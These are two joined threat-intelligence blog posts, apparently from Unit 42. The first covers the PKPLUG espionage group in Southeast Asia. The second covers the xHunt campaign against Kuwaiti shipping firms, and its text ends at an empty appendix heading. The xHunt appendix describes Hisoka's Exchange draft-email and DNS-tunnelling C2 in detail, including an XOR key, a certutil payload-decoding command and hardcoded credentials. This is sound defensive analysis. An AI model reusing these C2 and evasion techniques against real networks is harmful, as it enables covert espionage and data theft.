PKPLUG: Chinese Cyber Espionage Group Attacking Southeast Asia

Posted on by Alex Hinchliffe

Executive Summary

For three years, Unit 42 has tracked a set of cyber espionage attack campaigns across Asia, which used a mix of publicly available and custom malware. Unit 42 created the moniker “PKPLUG” for the threat actor group, or groups, behind these and other documented attacks referenced later in this report. We say group or groups as our current visibility doesn’t allow us to determine with high confidence if this is the work of one group, or more than one group which uses the same tools and has the same tasking. The name comes from the tactic of delivering PlugX malware inside ZIP archive files as part of a DLL side-loading package. The ZIP file format contains the ASCII magic-bytes “PK” in its header, hence PKPLUG.

While tracking these attackers, Unit 42 discovered additional, mostly custom malware families being used by PKPLUG beyond that of just PlugX. The additional payloads include HenBox, an Android app, and Farseer, a Windows backdoor. The attackers also use the 9002 Trojan, which is believed to be shared among a small subset of attack groups. Other publicly available malware seen in relation to PKPLUG activity includes Poison Ivy and Zupdax.

During our investigations and research into these attacks, we were able to relate previous attacks documented by others that date back as far back as six years ago. Unit 42 incorporates these findings, together with our own, under the moniker PKPLUG and continue to track accordingly.

It’s not entirely clear as to the ultimate objectives of PKPLUG, but installing backdoor Trojan implants on victim systems, including mobile devices, infers tracking victims and gathering information is a key goal.

We believe victims lay mainly in and around the Southeast Asia region, particularly Myanmar, Taiwan, Vietnam, and Indonesia; and likely also in various other areas in Asia, such as Tibet, Xinjiang, and Mongolia. Based on targeting, content in some of the malware and ties to infrastructure previously documented publicly as being linked to Chinese nation-state adversaries, Unit 42 believes with high confidence that PKPLUG has similar origins.

Targeting

Based on our visibility into PKPLUG’s campaigns and what we’ve learned from collaborating with industry partners, we believe victims lay mainly in and around the Southeast Asia region. Specifically, the target countries/provinces include (with higher confidence), Myanmar and Taiwan as well as (with lower confidence), Vietnam and Indonesia. Other areas in Asia targeted include Mongolia, Tibet and Xinjiang. This blog, and the associated Adversary Playbook, provides further details including: the methods used for malware delivery, the social engineering topics of decoy applications and documents and the Command & Control (C2) infrastructure themes.

Indonesia, Myanmar and Vietnam are ASEAN members, contributing towards intergovernmental cooperation in the region. Mongolia, specifically the independent country also known as Outer Mongolia, has a long-standing and complex relationship with the PRC. Tibet and Xinjiang are autonomous regions (AR) of China that tend to be classified by China’s ethnic minorities, granted the ability to govern themselves but ultimately answering to the People’s Republic of China (PRC). Tibet and Xinjiang are the only ARs, from five, where the ethnic group maintains a majority over other populations.

Most, if not all, of the seven countries or regions, are involved in some way with Beijing's Belt and Road Initiative (BRI) designed to connect 71 countries across Southeast Asia to Eastern Europe and Africa. The path through Xinjiang is especially important to the BRI’s success, but is more often heard of due to conflicts between the Chinese government and the ethnic Uyghur population. News of the BRI is peppered with stories of success and failure, of countries for and against the BRI and of countries pulling out of existing BRI projects.

Further tensions in the region are attributed to ownership claims over the South China Sea, including fishing quotas and the yet unproven oil and gas reserves. At least three of the target countries mentioned (Malaysia, Taiwan and Vietnam) have laid claim to parts of these waters, and some use the area for the vast majority of their trade. Foriegn militaries also patrol, attempting to keep the area open.

Taiwan, which isn’t an AR and doesn’t appear to be actively involved with the BRI, has its own long-standing history with the PRC -- a recent $2.2 billion arms sale with the U.S. may exacerbate matters.

Timeline

Before continuing, it’s worth highlighting our research and others relating to the intrusion set that we refer to as PKPLUG. This section documents prior work surrounding cyber attacks relating to PKPLUG. The following figure illustrates the chronological order of the publications -- highlighting some key findings from each.

As you can see from the timeline, PKPLUG has been active for six years or more with a variety of targets and methods of delivery and compromise.

Figure 1. Timeline of publications and key findings relating to PKPLUG

Please note: the dates shown on the horizontal timeline bar in Figure 1 above relate to the publishing date, not the campaign dates, although some were fairly close together. As an example to illustrate the difference in dates, HenBox was discovered in 2018 but has samples ranging from 2015 through to this week. PlugX and Poison Ivy are still doing the rounds and their use by different groups is well known. Whether they relate to PKPLUG is another matter.

#1: In November 2013, Blue Coat Labs published a report describing a case of attacks against Mongolian targets using PlugX malware. Like so many other attacks using PlugX over the past decade or more, Blue Coat noted the DLL side-loading technique used to launch the malicious payload via legitimate, signed applications. Their report also documented the group’s use of an exploit against software vulnerabilities in Microsoft Office. In this case, using a weaponized Word document saved as a Single File Web Page format -- usually having an mht file extension -- in order to exploit CVE-2012-0158 to drop and execute a signed WinRAR SFX archive containing the side-loading package and PlugX payload. Considering all the malware related to PKPLUG that Unit 42 has analyzed, the use of such exploits appears to be less common than a spear-phishing technique making use of social engineering to lure victims into running their malware.

#2: A report published in April 2016 by Arbor Networks detailed recent cyber attacks using Poison Ivy malware against targets in Myanmar and other countries in Asia over the previous twelve months.

They noted phishing emails using ASEAN membership, economics and democracy-related topics to weaponize documents delivering the Poison Ivy payloads. While Arbor didn’t know the exact victims, they inferred suspect targets based on the content of emails and associated malware. DLL side-loading was also mentioned as the method to install the malware.

#3: Unit 42 published research that reported attacks using the 9002 Trojan delivered through Google Drive. The download originated with a spear-phishing email containing a shortened URL that redirected multiple times before downloading a ZIP file hosted on Google Drive. The redirection using HTTP also contains information about the victim who received the spear-phish and clicked the link. In this case, the information related to a well-known politician and human rights activist in Myanmar. The filename of the ZIP archive also related to initiatives in the country, as did the decoy document contents. The ZIP file contained a DLL side-loading package abusing a Real Player executable signed by RealNetworks, Inc. in order to load the 9002 payload.

#4: In March 2017, researchers published a report in Japanese (later translated into English) that described attacks seen by VKRL -- a Hong Kong-based cybersecurity company -- that were using spear-phishing emails with URLs using GeoCities Japan to deliver malware. The content of the website contained encoded VBScript that executed PowerShell commands to download a Microsoft Word document from the same GeoCities site, as well as another encoded PowerShell script closely resembling PowerSploit -- a PowerShell post-exploitation framework for pentesters that’s available on GitHub -- that was responsible for decoding and launching a Poison Ivy payload.

Another GeoCities account was found hosting similar packages, including one targeting Mongolia based on the contents of the decoy documents. The contents of the file, assuming a victim clicked on the URL in the spear-phishing email, resembles the structure used in a technique known as AppLocker Bypass whereby trusted Windows executables can be used to execute malicious payloads.

#5: In early 2018, Unit 42 discovered a new Android malware family that we named “HenBox” and is tracking over 400 related samples dating back as far as late 2015, and continuing to present day. HenBox often masquerades as legitimate Android apps and appears to primarily target the Uyghurs -- a minority Turkic ethnic group that is primarily Muslim and lives mainly in the Xinjiang Uyghur Autonomous Region in Northwest China and also targets devices made by Chinese manufacturer Xiaomi.

Smartphones are the dominant form of internet access in the region and hence make good targets for such malware. Once installed, HenBox steals information from a myriad of sources on the device including harvesting outgoing phone calls to numbers with an “+86” prefix -- the country code for the PRC -- and accessing the device microphone and cameras.

During investigations, data revealed an older version of HenBox had been downloaded from the uyghurapps[.]net website, which appears to be third-party Android app store serving the Uyghur community based on the domain name, language of the site and app content hosted. HenBox was masquerading as an another app -- DroidVPN -- which was also embedded within HenBox and installed post-infection.

#6: Based on further investigations and pivoting around HenBox infrastructure, Unit 42 discovered a previously-unknown Windows backdoor Trojan called Farseer. Farseer also uses the DLL side-loading technique to install payloads -- this time favoring a signed Microsoft executable from VisualStudio to appear benign. A VBScript component is used, via a registry persistence hook, to launch the Microsoft executable and the Farseer payload during the user login process. In earlier Farseer variants, we saw decoy documents being used, including one case of a PDF containing a news article relating to Myanmar. Mongolia also appears to be a target based on telemetry provided by an industry partner of ours.

Further information relating to these publications, together with respective Indicators of Compromise (IoC) and Tactics, Techniques and Procedures (TTPs) used, are available in the PKPLUG Adversary Playbook.

Tying It All Together

The following Maltego image shows the vast majority of known infrastructure and some of the known malware samples related to PKPLUG, and the chart continues to grow as we discover more about this adversary. The indexed shapes that overlay the figure provide a reference back to the published work chronology mentioned above.

Figure 2. PKPLUG Maltego diagram highlighting published research

Overlaps between the different campaigns documented, and the malware families used in them, exist both in infrastructure (domain names and IP addresses being reused, sometimes in multiple cases) and in terms of malicious traits (program runtime behaviors or static code characteristics are also where relationships can be found or strengthened).

Figure 3 below shows a very simplified view of the six core publications again, as per Figure 2 above, but with trimmed-down infrastructure to highlight some of the core overlaps.

Figure 3. Simplified Maltego diagram showing high-level ties

The C2 infrastructure blogged by Blue Coat Labs in their publication (#1) “PlugX used against Mongolian targets” included ppt.bodologetee[.]com has infrastructure ties microsoftwarer[.]com through a shared IPv4 with parent domain bodologetee[.]com. Domain microsoftwarer[.]com was found after threat hunting based on facts provided in publication (#4) “"FHAPPI” Campaign: FreeHosting APT PowerSploit Poison Ivy” in relation to the FHAPPI campaign.

The FHAPPI campaign (#4) was documented as using PowerShell and PowerSploit code in order to infect victims with Poison Ivy, but very similar code was also found around PlugX malware, some of which had C2 communication with logitechwkgame[.]com. Domain logitechwkgame[.]com was documented by Unit 42 in publication (#3) “Attack Delivers 9002 Trojan Through Google Drive” as the C2 for the 9002 Trojans analyzed. FHAPPI is also connected through another malware using C2 infrastructure that relates, through a shared IPv4 address, to microsoftdefence[.]com, which malware documented in Arbor Networks’ publication (#2) “Poison Ivy Activity Targeting Myanmar, Asian Countries” also used for C2 communication. Other Poison Ivy samples also related to the campaigns documented by Arbor Networks used domain webserver.servehttp[.]com for C2 communication. Said samples also shared overlaps in runtime characteristics with other Poison Ivy samples that have been analyzed and confirmed as having C2 communications with certain domains that relate to both Blue Coat Labs’ publication (#1) and Unit 42’s research into Farseer malware and their publication (#6) “Farseer: Previously Unknown Malware Family bolsters the Chinese armoury”. Domains include yahoomesseges[.]com and outhmail[.]com, tcpdo[.]net, queryurl[.]com and cdncool[.]com respectively. The same registrant of yahoomesseges[.]com - mongolianews@yahoo[.]com - also registered ppt.bodologetee[.]com mentioned slightly earlier.

Some HenBox malware has used domain cdncool[.]com as well for its C2 communications, as documented in Unit 42’s publication (#5) “The Chickens Come Home to Roost.” Domain cdncool[.]com is thus connected not only to HenBox and Farseer campaigns, but also, through Poison Ivy malware, to the campaigns documented by Blue Coat Labs and Arbor Networks. HenBox is also connected through a third-level domain update.queryurl[.]com to queryurl[.]com that has been used for C2 communications by some Farseer samples.

Other overlaps, mainly in infrastructure also exist (as seen in Figure 2 above) but are difficult to describe in a blog like this, hence using Maltego. Figure 3, as mentioned earlier, is a simplified diagram to highlight some core overlaps.

PKPLUG’s Adversary Playbook

Unit 42 has previously described and published Adversary Playbooks you can view using our Playbook Viewer. To recap briefly, Adversary Playbooks provide a Threat Intelligence package in STIX 2.0 that include all IoCs for known attacks by a given adversary. In addition, said packages also include structured information about attack campaigns and adversary behaviours -- their TTPs) -- described using Mitre’s ATT&CK framework.

The Adversary Playbook for PKPLUG can be viewed here, and the STIX 2.0 content behind that can be downloaded from here. The Playbook contains several Plays (aka campaigns; instances of the Attack Lifecycle) that map, for the most part, to published research previously mentioned in this blog. There exists Plays including specific details from publications by Blue Coat Labs, Arbor Networks, our publication on the 9002 Trojan, and the FHAPPI campaign. HenBox has two Plays -- one for the known attack compromising a third-party app store to deliver the malware and another containing all other HenBox data. A similar single campaign exists for Farseer containing all related data.

Conclusion

Establishing a clear picture and understanding about a threat group, or groups, is virtually impossible without total visibility into every one of their attack campaigns. Based on this, applying a handle or moniker to a set of related data -- such as network infrastructure, malware behavior, actor TTPs relating to delivery, exfiltration, etc. -- helps us to better understand what it is we’re investigating. Sharing this information -- with a handle, in this case PKPLUG -- especially in a structured, codified manner a la Adversary Playbooks, should allow others to contribute their vantage points and enrich said data until the understanding of a threat group becomes lucid.

Based on what we know and what we’ve gleaned from others’ publications, and through industry sharing, PKPLUG is a threat group, or groups, operating for at least the last six years using several malware families -- some more well-known: Poison Ivy, PlugX, and Zupdax; some are less well-known: 9002, HenBox, and Farseer. Unit 42 has been tracking the adversary for three years and based on public reporting believes with high confidence that it has origins to Chinese nation-state adversaries. PKPLUG targets various countries or provinces in and around the Southeast Asia region for multiple possible reasons as mentioned above, including some countries that are members of the ASEAN organisation, some regions that are autonomous to China, some countries and regions somewhat involved with China’s Belt and Road Initiative, and finally, some countries that are embroiled in ownership claims over the South China Sea.

The Playbook Viewer helps to highlight some of the more common TTPs used by PKPLUG but, based on our visibility, spear-phishing emails to deliver payloads to their victims is very popular. Some email attachments contained exploits taking advantage of vulnerable Microsoft Office applications, however this technique was less commonly used compared with social engineering to lure the victim into opening attachments. DLL side-loading seems almost ubiquitous as a method to install or run their payloads, though perhaps more recently, PowerShell and PowerSploit is also being considered. Other TTPs are described in the STIX 2.0 package and presented in the Viewer.

The use of Android malware shows intent to get at targets where perhaps traditional computers, operating systems and ways of communicating are different from previous targets.

Palo Alto Networks detects customers are protected by these threats through the following:

  • Customers using AutoFocus can view this activity by using the following tags:
    PKPlug
  • All malware identified are detected as malicious by WildFire and Traps

 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

Indicators of compromise relating to PKPLUG can be found in the Adversary Playbook through the Playbook Viewer itself, or indirectly from the STIX 2.0 JSON file powering it.

xHunt Campaign: Attacks on Kuwait Shipping and Transportation Organizations

Posted on by Robert Falcone

Executive Summary

Between May and June 2019, Unit 42 observed previously unknown tools used in the targeting of transportation and shipping organizations based in Kuwait.

The first known attack in this campaign targeted a Kuwait transportation and shipping company in which the actors installed a backdoor tool named Hisoka. Several custom tools were later downloaded to the system in order to carry out post-exploitation activities. All of these tools appear to have been created by the same developer. We were able to collect several variations of these tools including one dating back to July 2018.  

The developer of the collected tools used character names from the anime series Hunter x Hunter, which is the basis for the campaign name “xHunt.” The names of the tools collected include backdoor tools Sakabota, Hisoka, Netero and Killua. These tools not only use HTTP for their command and control (C2) channels, but certain variants of these tools use DNS tunneling or emails to communicate with their C2 as well. While DNS tunneling as a C2 channel is fairly common, the specific method in which this group used email to facilitate C2 communications has not been observed by Unit 42 in quite some time. This method uses Exchange Web Services (EWS) and stolen credentials to create email “drafts” to communicate between the actor and the tool. In addition to the aforementioned backdoor tools, we also observed tools referred to as Gon and EYE, which provide the backdoor access and the ability to carry out post-exploitation activities. 

Through comparative analysis, we identified related activity also targeting Kuwait between July and December 2018, which was recently reported by IBM X-Force IRIS. While there are no direct infrastructure overlaps between the two campaigns, historical analysis shows that the 2018 and 2019 activities are likely related. 

Activity Overview

On May 19, 2019, we observed a malicious binary named inetinfo.sys installed on a system at an organization within the transportation and shipping sector of Kuwait. The file inetinfo.sys is a variant of a backdoor called Hisoka, specifically noted as version 0.8 within the code. Unfortunately, we do not have telemetry on how the actor gained initial access to the system to install the Hisoka backdoor. 

Within two hours of gaining access to the system through Hisoka, the actor deployed two additional tools named Gon and EYE, whose names were based on the filenames Gon.sys and EYE.exe. At a high level, the Gon tool allows the actor to scan for open ports on remote systems, upload and download files, take screenshots, find other systems on the network, run commands on remote systems and create a Remote Desktop Protocol  (RDP) session. The actor can use Gon as a command-line utility or by using a Graphical User Interface (GUI), as seen in Figure 1.

Figure 1. Gon’s GUI

The actor uses the EYE tool as a failsafe while they are logged into the system via RDP, as the tool will kill all processes created by the actor and remove other identifying artifacts if a legitimate user logs in. Please reference the Appendix for more detailed information on Gon and EYE.

By hunting within our data set, we were able to identify a second Kuwait organization also in the transportation and shipping industry targeted by the same threat group. Between June 18-30, 2019, threat actors installed the Hisoka tool. This time version 0.9, which contained the filename netiso.sys. On June 18, this file was observed being transferred to another system via the Server Message Block (SMB) protocol from an internal IT service desk account. Shortly after, a file named otc.dll was seen transferred in the same manner. The otc.dll file is a tool named Killua that is a simple backdoor that allows an actor to issue commands from a C2 server to run on the infected system by communicating back and forth using DNS tunneling. Based on string comparisons, we believe with high confidence that the same developer created both the Killua and Hisoka tools. We first observed Killua in June 2019 leading us to believe that Killua is a possible evolution of Hisoka. Details on the Killua tool are included in the Appendix. 

On June 30, we observed related activity that was quite interesting, as the actor used a third-party help desk service account to copy the files to an additional system on the network. This activity began with the transfer of another Hisoka v0.9 file, followed by two different Killua files within a 30 minute timeframe.

The tools identified in the aforementioned activities appear to be created by the same developer, all of which are either named after characters from Hunter x Hunter or contain some other reference to the anime show.  

Hisoka Email-Based C2

During our analysis, we identified two different versions of Hisoka, specifically v0.8 and v0.9, both installed onto the network of two Kuwait organizations. Both versions contain command sets that allow the actor to control a compromised system. In both versions, the actor can communicate via a command and control (C2) channel that uses either HTTP or DNS tunneling. However, v0.9 also added the ability for an email-based C2 channel as well. A more detailed analysis of the two variants can be found in the Appendix. 

The email-based C2 communications capability added to Hisoka v0.9 relies on Exchange Web Services (EWS) to use a legitimate account on an Exchange server in order to allow the actor to communicate with Hisoka. The malware attempts to log into an Exchange server using supplied credentials and uses EWS to send and receive emails in order to establish communications between the target and the actor. However, the communications channel does not actually send and receive emails like other email-based C2 channels we have seen in the past. Instead, the channel relies on creating email drafts that the Hisoka malware and the actor will process in order to exchange data back and forth. By using email drafts as well as the same legitimate Exchange account to communicate, no emails will be detected outbound or received inbound. 

The C2 channel leveraging EWS interacts with the mailbox of the legitimate account over an encrypted channel, as the requests to the EWS application programming interface (API) uses HTTPS. To enable the email-based C2 channel, the actor will provide -E EWS <data> on the command line followed by data structured as follows: 

<username>;<password>;<domain for Exchange server>;<Exchange version (2010|2013)>

The username and password must be a valid account on the Exchange server. We were able to test this functionality in our lab environment by creating an account named “hisoka” with the password “pass123!”. Using the -E EWS command and the following string, we were able to enable the C2 channel: 

hisoka;pass123!;mail.contoso.com;2010

To initiate communications, Hisoka notifies the actor that it is ready to receive commands by creating an initial email draft that is analogous to the beacon in other command and control channels. The initial email draft contains the subject “Present” with an empty email body and an email address in the “To” field that has an identifier unique to the compromised system (“ABCDEF” in our testing) appended to “@contoso.com”. Figure 2 shows the initial draft email created by Hisoka viewed by logging into the account via Outlook Web App.

Figure 2. Hisoka v0.9 email draft used as a beacon

To issue commands, the actor will log into the same account and create a draft with the subject “Project” and a specially crafted message body that contains the command as an encrypted string. We determined the structure of this message body by analyzing the code and found that the email must contain the string <body> with a base64 encoded ciphertext on the following line. While we have not seen the actor using this email channel for C2, we believe the email was sent as an HTML email, as Hisoka will check that the email contains three lines after the <body> tag. This is done by checking for three carriage return characters (\r), which we speculate is meant to include: one line for the ciphertext, one line for the closing </body> tag and the last line for the closing </html> tag. 

The actor will encrypt the desired command by using the XOR operation on each character with the value 83 (0x53) and base64 encoding the ciphertext. Figure 3 shows the email draft we created to test the C2 channel that issues the command C-get C:\\Windows\\Temp\\test.txt, which Hisoka will parse and treat as a command to upload the file at the path C:\Windows\Temp\test.txt.

Figure 3. Email draft used by Hisoka to obtain a command

After parsing and running the commands obtained from the draft email containing the subject “Project”, Hisoka will create another email draft to send the results of the command to the actor. This email draft will again have “Present” as its subject with the same email address constructed with the system’s unique identifier and “@contoso.com” in the “To” field. The message body of the email draft is base64 encoded ciphertext that contains the response or result of the command and uses the same XOR cipher with 83 (0x53) as the key used to encrypt the data. In the case of the file upload command, Hisoka will attach a file of interest to the email draft as well. Figure 4 shows the email draft created by Hisoka after receiving the file upload command noted in Figure 3 above. The email draft has the file test.txt attached and the decoded and decrypted message body is the string [!] C:\\Windows\\Temp\\test.txt Attached.\r\n\t\t\t\t\t\t{ Hisoka}.

Figure 4. Hisoka v0.9 email draft used to respond to the upload file command

While this is not the first email-based C2 channel we have seen in threat activities, the use of saved drafts and a legitimate Exchange account shared between the malware and the actor is rather uncommon and has not been observed in quite some time. 

Overlaps in Toolset

During our analysis of the malware activities occurring at the Kuwait organizations, we began seeing a trend in string observables between Hisoka and other tools identified in this activity. These strings led us to identify a separate tool referred to as Sakabota by its author with the earliest sample identified around July 2018. 

We analyzed dozens of samples during this analysis, which resulted in the identification of two separate campaigns -- one in mid-to-late 2018 using Sakabota and the other in mid-2019 using Hisoka. Our analysis of the two campaigns revealed that Sakabota is the predecessor to Hisoka, which was first observed in May 2019. By analyzing both Hisoka and Sakabota as well as the additional tools identified in the aforementioned activity, we have determined that Sakabota is likely the basis for the development of all the tools used in these attack campaigns. 

The Hisoka backdoor tool shares a significant amount of code from Sakabota, which is what leads us to believe that Hisoka evolved from Sakabota’s codebase. The number of functions and variable names are exactly the same in both Sakabota and Hisoka suggest, which infers that the same developer created both and spent little effort trying to hide this lineage. The following screenshot depicts a code comparison for Hisoka and Sakabota showing several variable name overlaps (“Chenged_Host”, “Host_Port”, etc) as well as the same general flow by which both tools determine if they should use the hardcoded C2 domain name or one provided as an argument on the command line. 

Figure 5. Sakabota & Hisoka comparison

We also observed shared code between Sakabota and the other tools used in the 2019 campaign. For instance, the Self_Distruct method in EYE matches the Self_Distruct method in several Sakabota samples, and both tools print the highly unique string we be wait for you boss !!! to the window. Figure 6 below shows this specific overlap in the Self_Distruct methods seen between EYE and Sakabota.

Figure 6. EYE and Sakabota comparison 

In addition to those code overlaps, the string “Sakabota” was also observed numerous times within Hisoka and the post-exploitation tools Gon and EYE observed in the 2019 Kuwait activity. First, Hisoka will display usage instructions if supplied with the appropriate command-line argument, as seen in Figure 7. The usage instructions contain a changelog at the bottom that includes the string Compatible with Sakabota v3.2 that suggests a linkage between Hisoka and Sakabota. Throughout our analysis of all Hisoka samples collected, we observed usage instructions containing references up to Sakabota v3.4.

Figure 7. Hisoka usage instructions containing suggested compatibility with Sakabota 

The Gon post-exploitation tool from the 2019 campaign also contains the “Sakabota” string that it uses within the output log of its scanning. Gon’s scanning functionality will write discovered systems to a file at the path <working directory>\wnix\Scan_Result.txt. When finished scanning, Gon will write a footer that contains the string Sakabota_v0.2.0.0, which suggests it is also related to the Sakabota tool. Figure 8 is an example of the output that Gon will write to the file Scan_Result.txt after successfully finding another system during its scanning activities.

Figure 8. Example output provided from the Gon post-exploitation tool

The Sakabota string also appears in the debug paths within EYE and Gon. As you can see from the following debug path, the EYE tool was compiled in a folder called “Sakabota_Tools”:
 Z:\TOOLS\Sakabota_Tools\Utility\Micosoft_Visual_Studio_2010_Experss\PRJT\Sync\Sakabota\EYE\EYE\obj\Release\EYE.pdb 

The following debug path within Gon suggests that it was created on a system using the username “sakabota", which further suggests a relationship between the tools:

C:\Users\sakabota\Desktop\Gon\Gon\obj\Debug\Gon.pdb

Finally, we also observed the same legitimate applications plink and dsquery embedded within both Gon and Sakabota, which are used to port forward RDP sessions and to gather information from active directory. 

While there are overlaps in the malware used in both the 2018 and 2019 campaigns, it is unclear whether or not these two campaigns were conducted by the same set of operators, only that there is some relationship at the malware development level. 

Connection to 2018 Campaign

After identifying a relationship between Hisoka and Sakabota, we conducted a search and found several Sakabota samples -- all of which were configured to use the domain pasta58[.]com for its C2 server. During general infrastructure analysis, this domain was seen in overlapping infrastructure previously observed in attacks on organizations in Kuwait between April and November 2018. Additional related activity was observed in July 2018, which involved spear-phishing emails that delivered macro-enabled documents to install PowerShell-based payloads. We do not have additional telemetry on these attacks at this time. 

The following domains were identified in relation to pasta58[.]com:

Domain Date Registered Registrant
firewallsupports[.]com 5/6/2018 - 5/6/2019 Masked
winx64-microsoft[.]com 7/15/18 - 7/15/19 Masked
6google[.]com 7/31/18 - 7/31/19 Masked
alforatsystem[.]com 5/29/18 - 5/29/19 Masked
windows64x[.]com 8/18/18 - 8/18/19 Masked
windows-updates[.]com 1/10/18 - 1/10/19 Masked
microsoft-check[.]com 10/10/18 - 10/10/19 Masked
pasta58[.]com 12/27/17 - 12/27/18 Masked
check-updates[.]com 6/24/18 - 6/24/19 Sofia Weber locas.l[@]yahoo.com
traveleasy-kw[.]com 6/13/18 - 6/13/19 Masked

Table 1. Domains associated with Sakabota domain pasta58[.]com


According to open-source information, the alforatsystem[.]com domain has hosted ZIP archives that contained LNK shortcut files to execute malicious PowerShell- and VBScript-based Trojans. One of the ZIP archives contained an executable file that beaconed to firewallsupports[.]com. The alforatsystem[.]com domain may be mirroring the Forat Electronic Systems Co. in Saudi Arabia, although we did not observe any additional Saudi Arabia targeting during our analysis.

While conducting general pivot analysis on available domain registration details, we also identified the domain sakabota[.]com whose web server served a page with the title “Outlook Web App” during the time of our analysis. While not a direct overlap, this domain shares similar registrant details as the domain check-updates[.]com. It is of interest to note, this domain was registered after the first observed Sakabota sample. 

Domain Date Registered Registrant
sakabota[.]com 9/8/18 - 9/8/19 Sofi Weber sofiiiweber[@]keemail.me

Table 2. Sakabota[.]com registration details

 

Link Analysis

In several instances, historical infrastructure analysis shows potential overlaps between both Hisoka and Sakabota activities, as well as with OilRig ISMAgent campaigns and DNS Hijacking activity infrastructure. However, the infrastructure overlaps involve shared domain resolutions, but the timing of many of these resolutions are far enough apart to indicate a potential change in actors using the infrastructure. This infrastructure overlap was also noted in a recent report by IBM X-Force IRIS. While not all inclusive, the following link analysis graph shows a snapshot of the infrastructure overlaps observed:

Figure 9. Infrastructure Link Analysis

 

Conclusion

While there are similarities in the targeting of Kuwait organizations, domain naming structure and the underlying toolset used, it remains unclear at this time if the two campaigns (July to December 2018 and May to June 2019) were conducted by the same set of operators. 

Historical infrastructure analysis, as depicted in the link analysis chart (Figure 9), shows a close relationship between Hisoka and Sakabota infrastructure as well as with known OilRig infrastructure. 

Due to these overlaps and the focused targeting of organizations within the transportation and shipping industry in the Middle East, we are tracking this activity very closely, and will continue analysis in order to determine a more solid connection to known threat groups. 

Palo Alto Networks customers are protected by these threats through the following:

  • Customers using AutoFocus can view this activity by using the following tags:
    xHunt, Sakabota, Hisoka, Killua, Gon, EYE
  • DNS Tunneling activity referenced in this blog is detected through DNS Security automated detection. 
  • All tools identified are detected as malicious by WildFire and Traps. 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

All indicators associated with these activities can be found in our GitHub repository here.

 

Appendix

Hisoka v0.8 Analysis

Between May 2019 and June 2019, we identified seven Hisoka v0.8 samples configured to beacon to the domains microsofte-update[.]com. Each of these samples also contain the following debug path:
C:\\Users\\bob\\Desktop\\Hisoka\\Hisoka\\obj\\Debug\\inetinfo.sys.pdb

The file SHA256: 892d5e8e763073648dfebcfd4c89526989d909d6189826a974f17e2311de8bc4 was used in reference to the below analysis on Hisoka v0.8.

Hisoka is a backdoor malware that uses both HTTP and DNS tunneling for C2 communication. Communications are hardcoded into the file and the DNS channel looks for the below IP addresses when resolving the C2 domain: 

public static string Replay_Keyword = "245.10.10[.]11";

public static string Itrupt_Keyword = "244.10.10[.]10";

public static string Instruction_Keyword = "66.92.110[.]";

The last octet in the third IP address above is used for Total_Package_Rows that tells Hisoka how many IP addresses to treat as data. 

In order to obtain a command from the C2 channel, the malware will build a string structured as ID:<uniq_ID>-> and send it within a POST request over HTTPS using the following hardcoded user-agent: 

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36

It then treats the C2’s response as a command by confirming that the first character of the string is a “C”. It then runs the remaining data as a command if it does not match one of the following listed arguments:

Figure 10. Hisoka v0.8 screenshot

Hisoka will use either DNS queries or HTTP requests to send data to the C2 server depending on which engine is currently set in its configuration or on the command line. If configured to use HTTP, Hisoka uses the same POST request over HTTPS as mentioned above with the unique identifier within the "Accept-Language" header of the request and the data to send within the POST data. 

If the C2 engine type is "DNS", it will use the nslookup application using DNS queries to resolve domains constructed as follows:

<unique identifier><encrypted base64 encoded data (24 bytes for "A" and 64 characters for "TXT" at a time>.<C2 location>

In the samples we analyzed, a random value was not included in the subdomain, making it possible that two queries would have the same subdomain and be resolved by a cached answer. Through deeper analysis of the malware itself, it appears the developer did create a variable to store a random number in. However they forgot to include this value in the actual subdomain itself.       


Hisoka v0.9 Analysis

In June 2019, we began seeing an updated variant of Hisoka (SHA256: a78bfa251a01bf6f93b4b52b2ef0679e7f4cc8ac770bcc4fef5bb229e2e888b) used against these same organizations. We identified four samples of this variant that were configured to beacon to the domains google-update[.]com or learn-service[.]com.

Within this version, the developer removed some functionality from within Hisoka and created a new tool named “Netero”, which includes the removed functionality. Netero is embedded in the Hisoka tool within a resource named msdtd and is saved to the system in the event that Hisoka needs to use that functionality. The process of moving the functionality out of Hisoka into another tool suggests the author was seeking a more modular architecture in an attempt to evade detection. The payload is base64 encoded and exists as a certificate, which Hisoka v0.9 uses certutil.exe -decode <cwd>\msdtd.txt <cwd>\msdtd.sys on the base64 encoded payload.

In addition to moving the functionality into Netero, Hisoka v0.9 added an email-based C2 communications capability that supplements the DNS and HTTPS C2 channels observed in the Hisoka v0.8 samples. It attempts to log into an Exchange server using supplied credentials and uses EWS in order to establish communications between the target and the actor.

The actor must supply the settings via the command line (-E EWS <data>) structured as follows:

<domain\username>;<password>;<domain for Exchange server>;<Exchange version (2010|2013)>

If the actor does not provide a string formatted as above, the following hardcoded data will be used. We believe the below sample data is a leftover artifact from the developer's testing of this capability:

shadow\\boss;P@ssw0rd;cas;2013

What this shows is that the default values will use the username "shadow\boss" with the password "P@ssw0rd" and attempt to access the following URL:

https://cas/EWS/Exchange.asmx

Hisoka will then attempt to log into the Exchange Server using the supplied credentials and check for emails that Hisoka will then process and use for inbound communications by the actor. In order to receive inbound communications, EWS is used to grab messages within the “Drafts” folder (three in the WellKnownFolderName Enum) containing an email thread named “Project”.

For outbound communications, Hisoka will create an email with the subject “Present”. It will include an encrypted message in the body of the email and a file will be attached to the email if the C2 issues the ‘file upload’ command. The following email address is placed in the “To” field:

<unique identifier>@contoso.com

Hisoka does not send the email and instead saves the email in the “Drafts” folder. Using the “Drafts” folder suggests that the actor could log into the same user account to verify that the email exists and can therefore further validate the ability to receive communications from Hisoka. It is also likely that the actor would use the unique identifier in the “To” field to determine which compromised system sent the data via the email C2 channel. 

The observed Hisoka v0.9 samples were configured to beacon to the domain learn-service[.]com and contained the following arguments: 

Figure 11. Hisoka v0.9 screenshot


The usage details at the bottom of the screenshot suggest that the developer has added a “bypass” to Palo Alto Networks Traps. This indicates that the developer has some level of awareness of the security mechanisms their intended targets are currently deploying.


EYE

